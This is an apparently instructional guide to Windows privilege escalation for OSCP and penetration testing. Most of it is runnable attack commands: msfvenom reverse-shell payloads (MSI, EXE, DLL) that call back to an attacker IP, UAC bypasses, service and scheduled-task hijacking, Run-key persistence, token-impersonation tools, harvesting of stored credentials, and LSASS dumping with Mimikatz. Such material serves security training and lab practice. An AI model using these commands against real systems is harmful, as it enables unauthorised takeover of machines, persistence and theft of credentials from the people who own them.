Windows Privilege Escalation: OSCP & Pentesting Essentials
Introduction
Privilege escalation on Windows isn’t about flashy exploits or rare zero-days. It’s about spotting the quiet, common mistakes: misconfigured services, overly permissive registry keys, stored credentials, and broken trust models.
Whether you’re working through OSCP labs, engaging in a red team assessment, or hacking away in your homelab, understanding Windows privilege escalation is critical. The moment you land a low-privileged shell is when the real challenge begins — and this guide is your roadmap to SYSTEM.
We’ll walk through all major techniques, how to enumerate for them, how to exploit them, and most importantly — why they work. This isn’t a collection of random tricks. It’s a framework for thinking like a professional operator.
Why Windows Privilege Escalation Is Different
Privilege escalation on Linux usually comes down to SUID binaries, weak file permissions, or cron jobs. On Windows, it’s a different kind of beast — one that hides in plain sight.
Windows privilege escalation is less about vulnerabilities and more about misconfigurations and trust abuse. You’re not just looking for a hole — you’re looking for the places where Windows trusts the wrong things, or where administrators made assumptions.
Here’s what makes it tricky (and powerful):
- Services running as SYSTEM with permissions anyone can change
- Registry keys that regular users can write to
- Stored credentials in configuration files, the registry, or credential manager
- Auto-elevation settings that silently grant higher privileges
- Scheduled tasks that reference user-controlled scripts
- Token privileges that allow impersonation or delegation
Windows is full of features designed for enterprise management, and many of them can be turned against the system with a bit of creativity and access.
If you want to be great at privilege escalation, don’t just memorize commands — understand the underlying mechanics. That’s what separates a script kiddie from a serious operator.
Initial Enumeration
Before you try any exploits, you need to understand where you are and what you have. Enumeration is the first, most important step — and it never really ends.
Start with the basics:
Core Commands:
whoami /all
whoami /priv
whoami /groups
systeminfo
hostname
Tells you your user, privileges, group memberships, OS version, and machine name
Then move on to discovering users, groups, and active processes:
tasklist /v
net users
net localgroup administrators
net localgroup "Remote Desktop Users"
Helps you find potential admin accounts, RDP users, and poorly named service accounts (e.g., test, admin, support)
Ask yourself:
- Am I a local admin already?
- Are there interesting group memberships?
- Is this box domain-joined?
- Is RDP enabled?
- What’s running that I might abuse?
Enumeration is not a phase — it’s a continuous process.
You’ll return to these commands repeatedly as your access and knowledge grow.
Here’s the next section:
UAC Bypass
User Account Control (UAC) is a security feature that prompts for approval before allowing elevated tasks. But if you’re a member of the Administrators group, UAC can often be bypassed due to misconfigurations.
This is useful when:
- You’re a local admin but not SYSTEM
- You want to escalate without using exploits
- UAC is improperly configured (which happens a lot)
Check UAC Settings:
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
Look for:
ConsentPromptBehaviorAdmin = 0→ No promptEnableLUA = 0→ UAC disabled entirely
If these are set, UAC bypass becomes trivial.
Common Bypass Tricks:
cmd.exe /c start fodhelper.exe
cmd.exe /c eventvwr.exe
Launches auto-elevated binaries that can execute without triggering UAC
If the environment is misconfigured, these commands will open a high-integrity shell — effectively elevating you to full admin execution.
Tool Spotlight: UACMe
A post-exploitation toolkit containing over 70 UAC bypass methods:
- Uses signed Windows binaries (LOLbins)
- Exploits registry hijacks, autoElevate=true properties, and COM misconfigs
Usage:
Akagi64.exe 34
Executes method 34 (or any of the 70+ methods available)
GitHub: https://github.com/hfiref0x/UACME
Post-Bypass Actions:
- Confirm privileges:
whoami /groups - Launch tools like Mimikatz
- Set persistence
- Begin lateral movement
AlwaysInstallElevated
This is one of the simplest privilege escalation wins — and one of the most overlooked.
If a system has misconfigured group policies that allow regular users to install .msi files as SYSTEM, you can exploit it with a malicious installer.
What to Check:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
Look for:
AlwaysInstallElevated REG_DWORD 0x1
If both the user (HKCU) and machine (HKLM) keys are set to 1, you’ve hit the jackpot.
Exploit Steps:
- Generate the Payload:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<your-ip> LPORT=4444 -f msi > shell.msi
- Set up a listener:
nc -lvnp 4444
- Execute the Payload:
msiexec /quiet /qn /i shell.msi
If successful, you get a SYSTEM-level shell.
Why It Works:
MSI packages are handled by msiexec.exe, which runs as SYSTEM. The AlwaysInstallElevated policy tells Windows to let any user execute MSI files with elevated privileges.
Unquoted Service Paths ” ”
A classic and still-common misconfiguration. If a Windows service has a path with spaces but isn’t surrounded by quotes, Windows may try to execute parts of the path incorrectly — giving you a chance to hijack the execution with your own binary.
Why It Matters:
Windows will split the path at each space and try to run each segment as an executable. If any part of the path is writable by a user, you can drop your own executable there and it may run as SYSTEM.
How to Find It:
wmic service get name,displayname,pathname,startmode
Look for:
- Paths that contain spaces (like
C:\Program Files\Some App\Service.exe) - Paths that are not wrapped in quotes
If the path is unquoted, Windows might try to run:
C:\Program.exeC:\Program Files\Some.exe
If you can drop a binary in one of those locations, you’ve got code execution.
Check for Write Access:
icacls "C:\"
If Users or Authenticated Users have (M) (Modify) permissions, you can drop a payload.
Exploit:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<your-ip> LPORT=4444 -f exe > Program.exe
Then place it:
copy Program.exe C:\
Restart the service:
net stop <ServiceName>
net start <ServiceName>
Boom — SYSTEM access.
What You’re Abusing:
Windows tries to interpret and run the executable from the wrong part of the path due to lack of quotation marks.
Insecure Service Permissions
Some services allow non-admin users to modify their configuration. If a service runs as SYSTEM and you can reconfigure it — you can make it run your binary instead. No exploit needed.
How It Happens:
Admins often misconfigure service permissions, leaving them writable by standard users or groups like “Authenticated Users.” If that service runs with SYSTEM privileges, you now control SYSTEM execution.
Find Vulnerable Services:
Use AccessChk from Sysinternals:
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
Look for permissions like:
SERVICE_CHANGE_CONFIGSERVICE_STARTSERVICE_ALL_ACCESS
Confirm the Service Name:
sc qc <ServiceName>
Make sure you use the real service name, not the display name.
Exploit Steps:
- Create a payload:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<your-ip> LPORT=4444 -f exe > revshell.exe
- Upload it to the target:
copy revshell.exe C:\Temp\
- Reconfigure the service:
sc config <ServiceName> binPath= "C:\Temp\revshell.exe"
- Start the service:
net start <ServiceName>
You now have a SYSTEM shell.
What You’re Abusing:
The service runs with SYSTEM privileges, but lets you change what it actually runs. You hijack the config, point it to your payload, and the system does the rest.
Registry & Startup Scripts
The Windows Registry holds configuration data for everything from services to user profiles — and that includes startup programs and sometimes even stored passwords. If registry permissions are too loose, or if startup keys are writable, you can abuse them for persistence or privilege escalation.
Autorun Keys for Persistence
These registry keys run programs automatically at startup or login:
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
HKLMkeys = SYSTEM startupHKCUkeys = User login (great for persistence)
If you can write to them, you can set your payload to run on every boot or login.
Check Write Permissions:
accesschk.exe -w -s "HKLM\Software\Microsoft\Windows\CurrentVersion\Run"
Add Persistence:
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v updater /t REG_SZ /d "C:\temp\rev.exe" /f
Service Execution via Registry
Each Windows service is also defined in the registry:
reg query HKLM\SYSTEM\CurrentControlSet\Services
Within each subkey, look at the ImagePath. If that value is writable and points to a SYSTEM-level service, you can replace it:
sc config vulnservice binPath= "C:\temp\revshell.exe"
net start vulnservice
Auto-Login Credentials
On some systems, administrators configure automatic login using plaintext credentials in the registry:
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
Look for values like:
DefaultUserNameDefaultPasswordAutoAdminLogon = 1
If present, you’ve got a username and password — potentially for a domain user.
Quick Cheat Sheet
| Target | Registry Path | Why It Matters |
|---|---|---|
| SYSTEM Startup | HKLM\Software\Microsoft\Windows\CurrentVersion\Run | Runs as SYSTEM at boot |
| User Login | HKCU\Software\Microsoft\Windows\CurrentVersion\Run | Runs at user login |
| Service Configs | HKLM\SYSTEM\CurrentControlSet\Services\<service> | Control execution of services |
| Auto-Login Creds | HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon | Plaintext credentials for login |
Token Impersonation
Windows uses access tokens to determine a user’s privileges. If you can impersonate a token — especially one belonging to SYSTEM — you can elevate your privileges without needing to exploit any binaries.
This method is particularly powerful if your current user has the SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege.
Check Your Privileges
whoami /priv
Look for:
SeImpersonatePrivilegeSeAssignPrimaryTokenPrivilege
If either is enabled and you’re a local admin, you’re in business.
Juicy Potato (Classic COM Hijack)
Works On:
- Windows 7 to 10
- Server 2008 to 2016
How It Works:
It tricks a privileged process into connecting to a fake COM server you control. You hijack the token from that connection and spawn a SYSTEM shell.
Usage Example:
JuicyPotato.exe -l 1337 -p "C:\\Windows\\System32\\cmd.exe" -t *
-l: Port to listen on-p: Payload to run-t *: Auto-detects token type
PrintSpoofer (Modern, Reliable)
Best For:
- Newer systems (Windows 10+)
- When Juicy Potato fails
- If Print Spooler is running
How It Works:
It abuses a named pipe exposed by the Print Spooler service to impersonate SYSTEM.
Usage:
PrintSpoofer64.exe -i -c cmd
-i: Impersonate token-c: Command to execute
Other Variants
- RoguePotato – Works over HTTP proxies, better for complex environments
- SweetPotato/BadPotato – Quieter, more stable variants
- GodPotato – Uses NTLM relay tricks for escalation in domain contexts
Things to Check:
- Are you in the Administrators group?
- Do you have impersonation privileges?
- Is the Print Spooler service running?
sc query Spooler
Scheduled Tasks
Windows allows users and administrators to schedule scripts or programs to run at specific times or events. If a scheduled task runs as SYSTEM or another privileged account — and references a user-writable script — it can be hijacked for privilege escalation.
Why It Matters:
Misconfigured scheduled tasks are a stealthy, persistent, and powerful way to escalate privileges. If a task runs your modified script every 5 minutes, you’ve got continuous SYSTEM access.
Finding Scheduled Tasks
Manual Method:
schtasks /query /fo LIST /v
Look for:
- Run As User: SYSTEM or admin
- Task To Run: Script or binary path you can modify
PowerShell Method:
Get-ScheduledTask | Get-ScheduledTaskInfo
Exploitation Example
You find:
- Task Name:
BackupScript - Script Path:
C:\scripts\backup.bat - User: SYSTEM
Check if Writable:
icacls C:\scripts
If writable:
echo start powershell.exe > C:\scripts\backup.bat
schtasks /run /tn "BackupScript"
You now have a SYSTEM-level PowerShell window.
What You’re Abusing
The task scheduler will run your payload using the task owner’s privileges — in this case, SYSTEM. You didn’t need to modify permissions or inject DLLs. You just edited a script.
Stored Credentials
Admins (and users) often leave credentials lying around for convenience — in the registry, scripts, scheduled tasks, .rdp files, and Credential Manager. These stored credentials are one of the easiest and most valuable things to grab during privilege escalation.
Where to Look
1. Credential Manager
cmdkey /list
Look for saved credentials for RDP, WinRM, or network shares. These can often be used directly with runas, psexec, or evil-winrm.
2. RunAs Saved Credentials
If the following was ever used:
runas /user:Administrator /savecred cmd
Then no password prompt will appear the next time that user runs something as Administrator.
3. Registry
Search for plaintext or weakly obfuscated passwords:
reg query HKLM /f password /t REG_SZ /s
4. Scripts & Config Files
Search common paths for hardcoded credentials:
Get-ChildItem -Recurse -Include *.xml,*.ps1,*.bat,*.config -Path C:\ -ErrorAction SilentlyContinue | Select-String -Pattern "password"
Target locations:
C:\scripts\C:\inetpub\wwwroot\C:\Users\*\Documents\
Look for strings like password=, pwd, User=, Credential, etc.
5. Credential Files Folder
Check for credential blobs that may be decrypted:
dir C:\Users\*\AppData\Roaming\Microsoft\Credentials\
These are encrypted using DPAPI, but if you’re in the right context (same user, same box), you can extract and decrypt them with tools like Mimikatz or SharpDPAPI.
What to Do If You Find Creds
Local Use:
runas /user:Administrator cmd
Remote Use:
net use \\target\C$ /user:Administrator <password>
evil-winrm
wmiexec.py
psexec.py
DLL Hijacking
When a program loads a DLL without specifying its full path, Windows searches for it in a specific order — starting with the program directory and then scanning other system paths. If any of those paths are writable by a low-privileged user and the DLL isn’t found, you can drop your own malicious version there and hijack execution.
Why It Matters
Many services run as SYSTEM or Administrator. If they try to load a missing DLL from a writable path, and you place your malicious DLL there, it’ll be executed with high privileges.
Finding Vulnerable Programs
Procmon (Process Monitor):
- Filter for
.dll - Look for
NAME NOT FOUNDin the logs - Check if any of the directories it searches are writable
Automated Tools:
- WinPEAS checks for common DLL hijacking paths
- PowerUp identifies hijackable DLLs in services
Exploitation Example
A service attempts to load:
C:\Program Files\BackupTool\securelib.dll
But securelib.dll doesn’t exist, and the directory is writable.
Generate the DLL:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<your-ip> LPORT=4444 -f dll > securelib.dll
Drop the DLL:
copy securelib.dll "C:\Program Files\BackupTool\"
Restart the service or app. When it loads, your DLL is executed as SYSTEM.
Where to Look
- App folders under
C:\Program Files\(sometimes misconfigured) - Folders listed in
%PATH%environment variable - Any location used by custom in-house software
Unattended Installation Files
During Windows deployments, administrators often use automation to speed things up. Tools like Sysprep or setup scripts may use XML files (e.g., Unattend.xml) that contain configuration details — including admin credentials.
If these files are left behind (and they often are), you might find domain or local admin passwords in plaintext.
Where to Look
Search these locations:
C:\Unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\System32\Sysprep\Unattend.xml
Or automate it:
Get-ChildItem -Recurse -Include *unattend*.xml -Path C:\ -ErrorAction SilentlyContinue | Select-String -Pattern "password"
What You’re Looking For
These files are XML-based. Look for:
<Username>Administrator</Username>
<Password>P@ssw0rd123!</Password>
<PlainText>true</PlainText>
If PlainText is set to true, that password is in cleartext.
How to Use It
- Run a shell as the user:
runas /user:Administrator cmd
- Use it for remote access:
evil-winrm -i <ip> -u Administrator -p "P@ssw0rd123!"
- Use it for SMB, RDP, or pivoting
PowerShell History
PowerShell automatically saves every command a user types into a plaintext history file. If an administrator runs sensitive commands — like credential operations — and forgets to clear the history, you can read it and potentially extract passwords or indicators of misconfigurations.
Why It Matters
This is one of the lowest-effort wins. You’re literally reading an admin’s thought process — and sometimes, their secrets.
Where to Look
C:\Users\<username>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
To check all users:
Get-ChildItem "C:\Users" | ForEach-Object {
Get-Content "C:\Users\$_\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt" -ErrorAction SilentlyContinue
}
View PowerShell History from PSReadLine
Get-Content (Get-PSReadlineOption).HistorySavePath
What You’re Looking For
Example:
$creds = New-Object System.Management.Automation.PSCredential("Administrator", (ConvertTo-SecureString "SuperSecret123" -AsPlainText -Force))
That’s a reusable credential. Plug it into:
runas /user:Administrator cmd
Or try it with RDP, WinRM, or SMB access.
Enumeration & Exploitation Tools
Manual enumeration is crucial — but the right tools can accelerate your discovery process and reveal vulnerabilities you might miss. Here are the top tools every Windows privilege escalation practitioner should know.
WinPEAS (Windows Privilege Escalation Awesome Script)
Use For:
- Automated checks for common misconfigs
- Unquoted service paths
- Writable registry keys
- Stored credentials
- Token privileges
- DLL hijack paths
Download & Run:
Invoke-WebRequest -Uri https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASany.exe -OutFile winpeas.exe
.\winpeas.exe
Pro Tip:
winpeas.exe > results.txt
Save results for offline review
Seatbelt (by SpecterOps)
Use For:
- Targeted enumeration with low noise
- Ideal in red team or EDR-heavy environments
Usage:
Seatbelt.exe all
Finds:
- UAC settings
- AV/EDR config
- Stored browser passwords
- Scheduled tasks
- Installed software
PowerUp (Part of PowerSploit)
Use For:
- Service misconfigurations
- Writable registry keys
- Token abuse
- Unquoted paths
Usage:
Import-Module .\PowerUp.ps1
Invoke-AllChecks
PrivescCheck
Use For:
- AV-safe and lightweight checks
- Great for CTFs and exam scenarios
Usage:
powershell -ExecutionPolicy Bypass -File .\PrivescCheck.ps1
.\PrivescCheck.ps1 > report.txt
Finds:
- Weak permissions
- DLL hijack opportunities
- Unquoted services
- Auto-elevated UAC settings
Manual Enumeration (Still Critical)
Even with tools, always verify manually:
whoami /priv
net localgroup administrators
icacls "C:\Program Files\App"
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
These quick hits often find things even automation misses — especially in custom environments.
Post-Exploitation Best Practices
Once you’ve escalated to SYSTEM, the real value begins: gathering credentials, establishing persistence, moving laterally, and avoiding detection. This is where professional operators stand out.
Credential Dumping
With Mimikatz:
mimikatz
privilege::debug
sekurlsa::logonpasswords
If LSASS is protected:
- Use ProcDump to dump
lsass.exe - Run Mimikatz on another system:
procdump64.exe -ma lsass.exe lsass.dmp
RDCMan Configuration Files
Paths to check:
C:\Users\<user>\Documents\RDCMan\
C:\Users\<user>\AppData\Local\Microsoft\Remote Desktop Connection Manager\
These .rdg files may contain saved RDP credentials in plaintext or DPAPI-encrypted format.
To decrypt DPAPI blobs:
Use SharpDPAPI or Mimikatz (if you have the user’s context or hash).
